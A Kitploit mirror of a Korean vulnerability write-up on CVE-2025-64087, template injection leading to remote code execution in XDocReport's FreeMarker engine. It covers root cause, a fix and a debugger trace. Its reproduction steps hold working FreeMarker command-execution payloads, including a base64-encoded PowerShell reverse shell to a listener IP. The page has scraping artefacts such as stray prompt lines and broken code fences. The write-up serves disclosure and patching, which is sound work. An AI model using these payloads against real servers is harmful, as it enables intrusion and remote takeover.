Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-64087-SSTI- — CVE-2025-64087(SSTI) | Kitploit
도구/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationPayload Development
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087(SSTI)

저장소 보기
116개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-64087 (SSTI FreeMarker)

Server-Side Template Injection (SSTI) in XDocReport allows Remote Code Execution via Apache FreeMarker engine

Bug 정의

취약점 개요

  • SSTI(Server-Side Template Injection)는 콘텐츠 관리 시스템(CMS) 및 웹 프레임워크에서 사용되는 템플릿에 악성 코드를 삽입하여 원격 공격, 민감 정보 탈취 또는 시스템 침투 활동을 수행할 수 있게 하는 웹 보안 취약점입니다.

  • SSTI는 SQL Injection, XSS 등과 같은 Injection 취약점의 변형으로, 공격자가 템플릿 시스템을 악용하여 원격으로 악성 코드를 배포합니다. SSTI 공격이 성공하면 공격자는 서버 측에서 자신의 코드를 실행할 수 있으며, 이를 통해 민감 정보 수집, 시스템 침투 활동 수행, 인가되지 않은 리소스에 접근 등의 원격 공격을 할 수 있습니다.

  • SSTI 취약점은 일반적으로 안전하지 않은 템플릿 시스템을 사용하거나, 입력 매개변수를 템플릿에 삽입하기 전에 검증 및 처리하지 않아 발생합니다. SSTI 공격이 성공할 경우 피해 조직에 심각한 결과와 큰 손실을 초래할 수 있습니다.

비즈니스 영향

  • SSTI 취약점은 다음과 같은 여러 심각한 결과를 초래할 수 있습니다.

  • 악성 코드 실행: 공격자는 이 취약점을 이용하여 서버에서 악성 코드를 실행할 수 있으며, 이를 통해 데이터 탈취, 시스템 상의 불법 행위 수행, 심지어 서버를 완전히 제어할 수 있습니다.

  • 민감 정보 노출: SSTI를 통해 공격자는 서버의 파일을 읽거나, 변경하거나, 삭제할 수 있습니다. 이러한 파일에 계정 및 비밀번호와 같은 민감 정보가 포함된 경우, 공격자는 쉽게 이 정보를 노출시킬 수 있습니다.

  • 사용자 협박 또는 사기 공격: 공격자는 SSTI를 사용하여 웹사이트 콘텐츠를 변경하거나 가짜 사용자 정의 버튼을 추가함으로써 사용자를 협박하거나 사기 공격을 수행할 수 있습니다. 사용자가 이러한 버튼을 클릭하면 공격자는 사용자 정보를 탈취하거나 사용자 컴퓨터에 악성 소프트웨어를 설치할 수 있습니다.

심각도: CRITICAL

image

설명 및 영향

도구 다운로드

OpenSAGRES XDocReport에서 FreeMarker 엔진으로 DOCX 템플릿을 처리할 때 SSTI(Server-Side Template Injection) 취약점이 발견되었습니다. 특정 구성 하에서 조작된 템플릿은 원격 코드 실행(RCE)으로 이어질 수 있습니다.

인사 관리 웹사이트는 사용자가 .docx 문서 파일을 시스템에 업로드할 수 있도록 합니다. 처리 과정에서 애플리케이션은 FreeMarker 템플릿 엔진(FreemarkerTemplateEngine.java 파일)을 사용하여 ${"freemarker.template.utility.Execute"?new()("whoami")} 콘텐츠를 입력 콘텐츠에 대한 제어 또는 필터링 메커니즘 없이 렌더링합니다. 이 취약점을 통해 공격자는 .docx 파일(템플릿)에 악성 표현식을 삽입하여 서버에서 원격 코드 실행(RCE)을 유발할 수 있으며, 정보 탈취 또는 시스템 제어에 악용될 수 있습니다.

영향을 받는 구성 요소

fr.opensagres.xdocreport.template.freemarker — XDocReport (버전 1.0.0 ~ 2.1.0).

근본 원인 분석

  • https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java 파일에서 입력 xdoc 파일의 콘텐츠를 검사하지 않습니다. 템플릿 콘텐츠가 그대로 로드되어 sandboxing 메커니즘이나 지시문/표현식 제한 없이 process(context, writer, template)에 전달되어 FreeMarker 엔진에 의해 처리됩니다. 결과적으로 공격자는 악성 FreeMarker 표현식/명령이 포함된 템플릿을 제공하여 원격 코드 실행(RCE)을 유발할 수 있습니다.

image

재현 단계

  1. 사용자가 다음 페이로드가 포함된 .docx 파일을 업로드합니다.``` ${"freemarker.template.utility.Execute"?new()("calc")}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

2. 성공적으로 실행되어 계산기 앱이 열리는 것을 확인

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

3. 마찬가지로 시스템에서 실행 중인 사용자 정보를 가져오려면 다음 payload를 사용:```
${"freemarker.template.utility.Execute"?new()("whoami")}

image

image

  1. 템플릿 엔진을 통해 처리된 .docx 파일이 시스템 데이터를 반환한 것을 확인할 수 있습니다.

image

  1. 다음 페이로드도 동일합니다:``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

6. RCE로 영향력 상향

- 수신 대기 중인 머신은 IP 주소 `172.26.208.130`을 가진 WSL입니다.

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

- 다음 페이로드를 이용한 익스플로잇:

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}

image

  • .docx 파일을 xdocreport로 처리

image

  • WSL 머신에서 셸이 반환된 것을 확인

image

해결 방법

리플렉션 실행 차단 (가장 안전하지만 빌드 오류 있음)

  • xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java 파일에 다음 내용을 추가합니다.

image

image

제 수정 방법은 ${cuong.name}과 같은 일반 객체와 속성 렌더링을 계속 허용하며, 위험한 내장 함수만 차단합니다.

  • 모든 SSTI 페이로드가 차단됩니다:
    • ${'freemarker.template.utility.Execute'?new()('calc')} - ALLOWS_NOTHING_RESOLVER에 의해 차단됨
    • ${'java.lang.Runtime'?api.getRuntime()} - setAPIBuiltinEnabled(false)에 의해 차단됨
    • ?new() 및 ?api를 사용하는 다른 모든 페이로드가 차단됩니다.

입력 검증

1. 메인 파일 - FreemarkerTemplateEngine.java

경로: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java

변경 사항:

  • ✅ 추가된 import: java.util.regex.Pattern
    image

  • ✅ validateTemplateSecurity(Reader reader) 메서드 추가 — 위험한 패턴 검증
    image

  • ✅ processNoCache() 업데이트 — 템플릿 생성 전 검증 추가
    image

  • ✅ process(String templateName, …) 업데이트 — 이 메서드에 검증 추가
    image

2. 테스트 파일 - FreemarkerTemplateEngineSecurityTestCase.java

경로: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java

변경 사항:

  • ✅ 새 테스트 케이스 생성 — 일반적인 SSTI 페이로드 테스트
  • ✅ 테스트된 주요 페이로드: ${"freemarker.template.utility.Execute"?new()("whoami")}
  • ✅ 추가로 테스트된 패턴: ?new, java.lang.Runtime, java.lang.ProcessBuilder 등
  • ✅ 안전한 템플릿 테스트 — 일반 템플릿이 여전히 정상 작동하는지 확인

변경 사항 요약

파일변경 유형목적
FreemarkerTemplateEngine.java수정됨SSTI 보호 추가
FreemarkerTemplateEngineSecurityTestCase.java새 파일검증 로직 테스트

최종 수정

  • https://github.com/opensagres/xdocreport/pull/705

image

image

2.2.0 패치에서는 보호 메커니즘이 활성화되어 SSTI를 성공적으로 차단했습니다.

image

참고 자료

  • https://portswigger.net/web-security/server-side-template-injection

디버그 환경 설정

image

  • Main.java 파일에서```java package org.example;

import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;

public class Main {

root@kitploit:~
public static void main(String[] args) {
    try {
        // Đọc file đầu vào chứa biểu thức Velocity
        File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
        InputStream input = new FileInputStream(docxTemplate);

        // Load template sử dụng FreeMarker
        IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

        // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
        IContext context = report.createContext();

        // Xuất ra file mới
        OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
        report.process(context, out);

        System.out.println("✅ Đã tạo file result.docx thành công.");
    } catch (Exception e) {
        System.err.println("❌ Lỗi xử lý file:");
        e.printStackTrace();
    }
}

}

root@kitploit:~
- 가져올 라이브러리```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

A 시작점 (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");

root@kitploit:~
→ 소스는 이 DOCX 파일입니다 — 사용자가 파일을 업로드/저장하는 경우 내부 템플릿 내용(FreeMarker 구문)은 신뢰할 수 없는 데이터입니다.```
InputStream input = new FileInputStream(docxTemplate);

→ 파일 내용을 읽어 XDocReport에 전달합니다.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

root@kitploit:~
- loadReport(...)는 DOCX 파일을 구문 분석(parse)하고, DOCX 내의 entry/template을 찾아 IXDocReport를 생성합니다(내부적으로 FreeMarker의 Template 객체를 초기화하거나 템플릿용 reader를 유지합니다).

- DOCX 파일의 템플릿 내용은 이제 report 객체에 있습니다(아직 실행되지 않음).

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

zipInputStream.getNextEntry()는 ZIP(.docx) 내의 각 entry(각 파일)를 반복합니다.

archive = new XDocArchive(...) — archive가 아직 없으면 문서의 entry를 구성/등록하는 객체를 초기화합니다.

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

요약: 이 부분은 DOCX 내용을 내부 구조(XDocArchive)로 추출하여 이후 부분에서 하위 파일(document.xml 등)에 접근할 수 있도록 합니다.```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
                                    ITemplateEngine templateEngine, boolean cacheReport )
        throws IOException, XDocReportException
    {
        initializeIfNeeded();
        // 2) zip was loaded, create an instance of report
        IXDocReport report = createReport( sourceStream );
        // 3) Update the report id if need.
        if ( StringUtils.isEmpty( reportId ) )
        {
            reportId = report.toString();
        }
        report.setId( reportId );
        // 4) Search or set the template engine.
        if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
        {
            // Template engine was not forced.
            // Search template engine
            String documentKind = report.getKind();
            templateEngine =
                TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
            if ( templateEngine == null )
            {
                templateEngine =
                    TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
            }
        }
        report.setTemplateEngine( templateEngine );
        if ( cacheReport )
        {
            registerReport( report );
        }
        return report;
    }
BướcHành độngMục đích
1DOCX 파일 읽기원본 보고서 구조 획득
2IXDocReport 생성템플릿 대표
3ID 할당고유 관리
4템플릿 엔진 선택식 처리용 (Freemarker/Velocity)
5필요시 캐시성능 최적화
6보고서 반환결과 파일 렌더링에 사용

image

요약하면 IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); 에서 SSTI 검사 메커니즘이 없으며 단지 docx 내의 xml 파일을 로드하여 처리 준비가 된 IXDocReport report를 반환합니다(예: 렌더링, 데이터 병합 등).

image

report.process(context, out); 에서

image

  • 이것은 활성화 지점(실행 싱크)입니다: XDocReport가 해당 엔진(여기서는 FreeMarker)을 호출하여 템플릿을 컨텍스트와 병합하고 결과를 out으로 렌더링합니다.
  • 이 메서드는 이전에 로드된 문서 템플릿(예: .docx 또는 .odt)을 가져와 컨텍스트 객체(일반적으로 IContext)의 데이터를 템플릿의 변수에 삽입합니다.
  • 그런 다음 실제 데이터가 포함된 완전한 문서를 렌더링하고 결과를 out 스트림(즉, results.docx 파일)에 씁니다.

이 함수 내부를 살펴보면 preprocess(...)를 호출하여 각 XML 항목을 읽고 XML 콘텐츠를 파싱한 후 BufferedDocument를 생성하고 Writer에 기록합니다(이는 사전 처리된 XML 버전입니다).

image```java public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map<String, Object> sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler<?> contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; }

root@kitploit:~
        return false;
    }
    catch ( SAXException e )
    {
        throw new XDocReportException( e );
    }
}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

그런 다음 `processNoCache()`로 들어가 `getReader()`를 호출합니다.
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

`getReader()` 함수는 템플릿 전체를 escape directive로 감싸서 내용이 안전하게 처리되도록 합니다 (HTML 이스케이프, 인젝션 방지).

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

원본 템플릿:```xml
<w:p>
  <w:t>Hello ${name}!</w:t>
</w:p>

getReader() 처리 후:```xml [#-- Hello ${name}! [/#escape][#--]]>--]

root@kitploit:~
Freemarker 엔진이 더 안전하게 읽을 수 있도록 해줍니다:

- XML 보호: XML에서 특수 문자 이스케이프
- 안전한 처리: Freemarker가 템플릿을 구문 분석할 때 오류 방지

그런 다음 `FMParser`를 호출하여 Freemarker 구문을 분석합니다

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

마지막으로 `process()`에서 `environment.process();`를 호출하고 데이터를 읽습니다.```
public void process() throws TemplateException, IOException {
        Object savedEnv = threadEnv.get();
        threadEnv.set(this);
        try {
            // Cached values from a previous execution are possibly outdated.
            clearCachedValues();
            try {
                doAutoImportsAndIncludes(this);
                visit(getTemplate().getRootTreeNode());
                // It's here as we must not flush if there was an exception.
                if (getAutoFlush()) {
                    out.flush();
                }
            } finally {
                // It's just to allow the GC to free memory...
                clearCachedValues();
            }
        } finally {
            threadEnv.set(savedEnv);
        }
    }

👉 이것이 가장 중요한 단계입니다 — 실제 렌더링이 발생합니다.

  • getTemplate()는 파싱된 템플릿(AST)을 반환합니다.

  • getRootTreeNode()는 FMParser가 파싱 시 생성한 구문 트리의 루트 노드입니다.

  • visit()는 FreeMarker의 핵심 API로, 템플릿의 각 요소를 탐색하고 렌더링하는 데 사용되며, freemarker.core.Environment에 정의되어 있습니다.

    • TextBlock을 만나면 → 텍스트를 out에 씁니다.

    • Interpolation(예: ${user.name})을 만나면 → dataModel에서 조회하여 값을 가져와 out에 씁니다.

    • #if, #list, #include, 매크로를 만나면 → 해당 로직을 처리합니다.```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

entryName `word/document.xml`에서 트리거됩니다.

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

다음으로 `accept()` 함수로 점프합니다.

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
    TemplateElement[] accept(Environment env) throws TemplateException, IOException {
        final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
        final Writer out = env.getOut();
        if (moOrStr instanceof String) {
            final String s = (String) moOrStr;
            if (autoEscape) {
                markupOutputFormat.output(s, out);
            } else {
                out.write(s);
            }
        } else {
            final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
            final MarkupOutputFormat moOF = mo.getOutputFormat();
            // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
            if (moOF == outputFormat) {
                moOF.output(mo, out);
            } else if (!outputFormat.isOutputFormatMixingAllowed()) {
                final String srcPlainText;
                // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                srcPlainText = moOF.getSourcePlainText(mo);
                if (srcPlainText == null) {
                    throw new _TemplateModelException(escapedExpression,
                            "The value to print is in ", new _DelayedToString(moOF),
                            " format, which differs from the current output format, ",
                            new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
                }
                if (markupOutputFormat != null) {
                    markupOutputFormat.output(srcPlainText, out);
                } else {
                    out.write(srcPlainText);
                }
            } else if (markupOutputFormat != null) {
                markupOutputFormat.outputForeign(mo, out);
            } else {
                moOF.output(mo, out);
            }
        }
        return null;
    }

이미지```java final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } }

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

`visit()` 함수의 실행 흐름은 다음과 같습니다.```
visit(Interpolation)                // gọi accept(...)
 └─ Interpolation.accept(env)
     └─ calculateInterpolatedStringOrMarkup(env)
         └─ expression.eval(env)
             └─ (đến _eval) target.eval(env)   // trả TemplateMethodModel (built-in new()/Execute)
                 └─ targetMethod.exec(arguments)  ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây

디버그 요약```

[User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Nhận InputStream (file .docx) │ │ - Xác định TemplateEngineKind=Freemarker│ │ - Gọi createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Gọi new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parse nội dung template │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Đọc nội dung file (XML trong DOCX) │ │ - Phân tích cú pháp │ │ Tạo AST (cây cú pháp): │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Ghi kết quả ra writer (output stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Nếu node là ${...} │ │ ⇒ ExpressionEvaluator được gọi │ │ ⇒ eval() biểu thức bên trong ${} │ │ ⇒ Có thể truy cập method Java nếu chưa │ │ bị sandbox hoặc hạn chế │ │ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 Kết quả: Server-Side Template Injection (SSTI)

root@kitploit:~
## 🔍 **악용 가능한 주요 지점 요약**

| 단계                     | 클래스                | 역할                | SSTI 관련                 |
| ----------------------- | -------------------- | -------------------- | ------------------------- |
| `loadReport()`          | `XDocReportRegistry` | 템플릿 로드         | 입력 제어 불가            |
| `getReader()`           | `TemplateEngine`     | 템플릿 데이터 읽기  | 페이로드 포함 가능        |
| `FMParser`              | `freemarker.core`    | 내용 파싱           | `${}` 변수 분석됨         |
| `Environment.process()` | `freemarker.core`    | 템플릿 렌더링       | 각 노드의 `visit()` 호출  |
| `visit()` / `eval()`    | `freemarker.core`    | 표현식 실행         | **SSTI / RCE 지점**       |

---

## 문서

- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link